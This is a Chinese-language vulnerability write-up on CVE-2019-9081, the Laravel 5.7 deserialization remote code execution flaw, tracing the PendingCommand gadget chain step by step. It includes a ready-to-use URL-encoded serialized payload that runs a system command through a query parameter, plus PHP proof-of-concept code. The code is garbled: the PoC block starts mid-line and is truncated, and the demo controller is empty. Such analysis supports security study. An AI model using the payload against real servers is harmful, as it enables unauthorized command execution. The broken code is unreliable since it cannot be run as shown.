002-CVE-2019-9081 Laravelv 5.7 反序列化rce

# CVE-2019-9081 Laravelv 5.7 反序列化rce

### 一、漏洞简介

Laravel Framework 5.7.x版本中的Illuminate组件存在安全漏洞。远程攻击者可利用该漏洞执行代码。

### 二、漏洞影响

Laravelv 5.7

### 三、复现过程

**漏洞分析**

漏洞demo

由于我没有找到laravel框架触发反序列化的点,因此我们需要自己构造一个漏洞demo,用作poc的验证。

在routes/web.php文件中添加这样一条路由记录:`Route::get(‘/index’, ‘TaskController@index’);`

接下来在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:

“`php

“`

首先我们来对比一下laravel v5.6和laravel v5.7下vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹中的区别:

![](/static/lingzu/images/15891202686249.png)

![](/static/lingzu/images/15891202723573.png)

可以看到在v5.7版本中多了一个PendingCommand.php文件。我们再来看看官方文档对于这个文件的解释。

![](/static/lingzu/images/15891202797298.png)

其主要功能是用作命令执行,并且获取输出内容。

阅读代码我们可以看到PendingCommand.php文件定义了PendingCommand类,该类存在__destruct方法,忘了哪位大牛说过,__destruct永远是反序列化漏洞的最佳攻击点。而在PendingCommand类的__destruct方法中调用了该类的run方法。在run方法的头顶,赫然写着Execute the command.。攻击思路很明显了,通过反序列化触发PendingCommand类的__destruct析构函数,进而调用其run方法实现代码执行。接下来就要开始构造pop链。

在构造payload之前,我先简单的介绍一下PendingCommand类中的几个重要属性:

“`bash
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array(‘id’)
“`

我们传入payload看看具体流程走向。

![](/static/lingzu/images/15891203039953.png)

将我们构造好的序列化数据通过参数p传入,查看调用栈可以看到,在进行反序列化时,成功进入PendingCommand类的析构函数。并且这里的`$this->hasExecuted`默认定义就是false。导致我们很顺利进入`$this->run()`方法。run方法的代码如下:

![](/static/lingzu/images/15891203190070.png)

我们首先需要进入`$this->mockConsoleOutput()`方法。这个方法的也是困扰了我很久,差一点没能绕过这个方法。最后是在吃完晚饭之后,灵光一现突然想到bypass的方法。我们跟进看看代码逻辑。

![](/static/lingzu/images/15891203297869.png)

在`$this->mockConsoleOutput()`使用Mockery::mock实现对象模拟,具体如何实现我们不去关心,目前的首要任务是顺利走通这段代码。我们将关注点放在`$this->createABufferedOutputMock()`,继续跟进`$this->createABufferedOutputMock()`函数。

![](/static/lingzu/images/15891203469449.png)

这里又进行一次对象模拟,但是着不重要,我们重点看我打上箭头的地方。要求获取`$this->test`这个类中的expectedOutput属性,并且遍历该属性。按道理来说`$this->test`这个类应该存在expectedOutput属性,我们才能顺利地执行下文代码。很不幸,在我们可以实例化的类中,没有一个类存在expectedOutput属性。只有一些测试类才有这个属性。这也是困扰我很久的地方。

但我们仔细看看这段代码会发现,我们需要的只是一个返回内容而已,只需要有返回内容,使得代码进入循环流程我们便能走通这段代码。因此我们可以利用__get魔术方法来返回我们需要的内容。我这里选取的是Illuminate\Auth\GenericUser类。其__get魔术方法的逻辑如下:

![](/static/lingzu/images/15891203629839.png)

而`$this->attributes`通过反序列化是可控的,因此我们可以构造`$this->attributes`键名为expectedOutput的数组。这样一来`$this->test->expectedOutput`就会返回`$this->attributes`中键名为expectedOutput的数组。`$this->createABufferedOutputMock()`的代码也就顺利走通了。

![](/static/lingzu/images/15891203837274.png)

接下来回到`$this->mockConsoleOutput()`方法,可以看到这里有一段和`$this->createABufferedOutputMock()`中相似的代码,我们的目的只是走通这段代码,进入下面的流程,因此不需要关心他具体的实现,只要能顺利执行,不报错,不产生异常就行。使用和`$this->createABufferedOutputMock()`同样的绕过办法,在`$this->attributes`中定义键名为expectedQuestions的数组即可。

![](/static/lingzu/images/15891204053924.png)

之后,我们继续运行就能走出`$this->mockConsoleOutput()`方法。接下来,就是最关键的产生漏洞的代码点。

`$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);`。

这行代码相当令人费解,我为了更加直观的表述,新增两个变量。

“`bash
$aaa=Kernel::class;
$fff=$this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
“`

Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,我们不去管他。重点是`$this->app[Kernel::class]`这句代码。跟踪这句代码,我们会得到以下调用栈:

![](/static/lingzu/images/15891204376807.png)

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断`$this->bindings[$abstract])`是否存在,若存在则返回`$this->bindings[$abstract][‘concrete’]`。

`$bindings`是vendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制 `$this->bindings`属性。而Illuminate\Foundation\Application恰好继承自Container类,这就是我选择Illuminate\Foundation\Application对象放入`$this->app`的原因。由于我们已知`$abstract`变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。

![](/static/lingzu/images/15891204712657.png)

之后便步出`$this->getConcrete`方法。使用`$this->isBuildable`方法,判断是否可进行实例化。

![](/static/lingzu/images/15891204850509.png)

具体判断逻辑如下:

![](/static/lingzu/images/15891204918073.png)

很明显我们现在不满足条件,因此进入`$this->make`方法,同样的流程再循环一遍。第二遍循环时,在`$this->getConcrete`环节还是获取我们定义的Illuminate\Foundation\Application,这样一来使得`$this->isBuildable`中的`$concrete === $abstract`条件成立。因此我们进入`$this->build`方法。

![](/static/lingzu/images/15891205131384.png)

在`$this->build`方法中,就能看到使用ReflectionClass反射机制,实例化我们传入的类。

![](/static/lingzu/images/15891205251734.png)

成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,`$this->app[Kernel::class]`最终返回的内容就是我们创建的Illuminate\Foundation\Application类的对象。

![](/static/lingzu/images/15891205372407.png)

继续往下跟踪,已经接近胜利了。在返回一个对象之后,又调用了call方法。实际上Illuminate\Foundation\Application类没有call方法,但是它的父类Illuminate\Container\Container是有call方法的。因此,在这里会直接跳转到Illuminate\Container\Container类中的call方法。

![](/static/lingzu/images/15891205476083.png)

跟进BoundMethod对象的call方法。

![](/static/lingzu/images/15891205542575.png)

不满足第一个分支语句,直接进入第二行。前面的static::callBoundMethod只是判断我们的$callback是否为数组。这个不重要,我们关注后面的匿名函数。这个匿名函数直接调用call_user_func_array,并且第一个参数我们可控,参数值为system,第二个参数由static::getMethodDependencies方法返回。跟进static::getMethodDependencies方法看看。

![](/static/lingzu/images/15891205647639.png)

static::getCallReflector(`$callback`)这句用于利用反射获取`$callback`的对象,继续往下执行`static::addDependencyForCallParameter`,会对$callback的对象添加一些参数,但是这些不重要。最后一行才是关键。

最后将我们传入的`$parameters`参数数组和`$dependencies`数组合并,`$dependencies`数组为空。

最后在BoundMethod对象的call方法中我们相当于执行了以下代码:

“`bash
call_user_func_array(‘system’,array(‘id’))
“`

此时run函数中`$exitcode`值即为命令的执行结果

![](/static/lingzu/images/15891205976779.png)

payload:

“`
http://url/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
“`

![](/static/lingzu/images/15891206179997.png)

**POC**

“`php
command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}

namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>
array(“0″=>”1”),”expectedQuestions”=>array(“0″=>”1”))),new Illuminate\Foundation\Application(array(“Illuminate\Contracts\Console\Kernel”=>array(“concrete”=>”Illuminate\Foundation\Application”))))));
?>
“`

运行chain.php文件即可得到payload,将payload传入p参数即可。

**参考链接**

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

https://xz.aliyun.com/t/5510#toc-1

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容